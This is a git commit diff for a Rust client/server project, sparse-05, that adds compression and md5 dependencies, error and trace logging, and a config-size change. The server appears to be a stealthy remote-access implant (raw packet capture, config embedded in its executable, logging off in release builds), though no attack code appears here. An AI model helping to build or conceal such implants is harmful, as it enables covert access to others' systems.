WIP: adding more cross compilation support

Cargo.lock

@@ -281,6 +281,15 @@ version = "0.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "dcb25d077389e53838a8158c8e99174c5a9d902dee4904320db714f3c653ffba"
 
+[[package]]
+name = "crc32fast"
+version = "1.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a97769d94ddab943e4510d138150169a2758b5ef3eb191a9ee688de3e23ef7b3"
+dependencies = [
+ "cfg-if",
+]
+
 [[package]]
 name = "crossbeam-utils"
 version = "0.8.20"
@@ -482,6 +491,16 @@ version = "2.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "e8c02a5121d4ea3eb16a80748c74f5549a5665e4c21333c6098f283870fbdea6"
 
+[[package]]
+name = "flate2"
+version = "1.0.33"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "324a1be68054ef05ad64b861cc9eaf1d623d2d8cb25b4bf2cb9cdd902b4bf253"
+dependencies = [
+ "crc32fast",
+ "miniz_oxide",
+]
+
 [[package]]
 name = "fs_extra"
 version = "1.3.0"
@@ -750,6 +769,12 @@ dependencies = [
  "value-bag",
 ]
 
+[[package]]
+name = "md5"
+version = "0.7.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771"
+
 [[package]]
 name = "memchr"
 version = "2.7.4"
@@ -1322,7 +1347,9 @@ dependencies = [
  "anyhow",
  "ecies-ed25519",
  "ed25519-dalek",
+ "flate2",
  "libc",
+ "md5",
  "rand 0.7.3",
  "raw_tty",
  "rmp-serde",
@@ -1353,8 +1380,10 @@ dependencies = [
  "cc",
  "ecies-ed25519",
  "ed25519-dalek",
+ "flate2",
  "libc",
  "log",
+ "md5",
  "packets",
  "pcap-sys",
  "rand 0.7.3",

sparse-05/sparse-05-client/Cargo.toml

@@ -8,7 +8,9 @@ ansi_term = "0.12.1"
 anyhow = "1.0.75"
 ecies-ed25519 = { version = "0.5.1", features = ["serde"] }
 ed25519-dalek = "1.0.1"
+flate2 = "1.0.33"
 libc = "0.2.147"
+md5 = "0.7.0"
 rand = "0.7"
 rmp-serde = "1.1.2"
 serde = { version = "1.0.188", features = ["derive"] }

sparse-05/sparse-05-server/Cargo.toml

@@ -18,6 +18,8 @@ ecies-ed25519 = { version = "0.5.1", features = ["serde"] }
 packets = { path = "../../packets" }
 pcap-sys = { path = "../../pcap-sys", optional = true }
 windows-service = { version = "0.6.0", optional = true }
+flate2 = "1.0.33"
+md5 = "0.7.0"
 
 [build-dependencies]
 cc = "1.0"

sparse-05/sparse-05-server/src/capabilities.rs

@@ -2,7 +2,6 @@
 use std::ffi::c_int;
 use std::path::PathBuf;
 
-use anyhow::Context;
 use sparse_05_common::messages::{Capabilities, OperatingSystem, TransportType};
 
 #[derive(Debug)]

sparse-05/sparse-05-server/src/interface.rs

@@ -174,7 +174,9 @@ impl InterfaceReceiver {
                     if udp_pkt.dstport() != *port {
                         return Ok(false);
                     }
-                    let _ = (f)(packet.to_owned());
+                    if let Err(e) = (f)(packet.to_owned()) {
+                        log::warn!("error on handling a new connection: {e:?}");
+                    }
                     Ok(false)
                 },
                 false,

sparse-05/sparse-05-server/src/main.rs

@@ -20,7 +20,11 @@ mod interface;
 
 fn main_to_run() -> anyhow::Result<()> {
     simple_logger::SimpleLogger::new()
-        .with_level(log::LevelFilter::Off)
+        .with_level(if cfg!(debug_assertions) {
+            log::LevelFilter::Warn
+        } else {
+            log::LevelFilter::Off
+        })
         .with_module_level("sparse-05-server", log::LevelFilter::Debug)
         .init()?;
 
@@ -32,9 +36,9 @@ fn main_to_run() -> anyhow::Result<()> {
 
     log::debug!("Capabilities: {:?}", capabilities);
 
-    let config_bytes = catconf::read_from_exe(CONFIG_SEPARATOR, 512)?;
+    let config_bytes = catconf::read_from_exe(CONFIG_SEPARATOR, 128)?;
     if config_bytes.len() != 66 {
-        bail!("could not load configuration");
+        bail!("could not load configuration: {} bytes", config_bytes.len());
     }
 
     let (port, conn_pubkey, enc_pubkey) = {
@@ -58,6 +62,7 @@ fn main_to_run() -> anyhow::Result<()> {
         let Ok(packet) = recv_eth_packet.recv() else {
             continue;
         };
+        log::trace!("Sending packet of length: {}", packet.pkt().data.len());
         if let Err(_) = interface_sender.sendpacket(packet.pkt()) {}
     });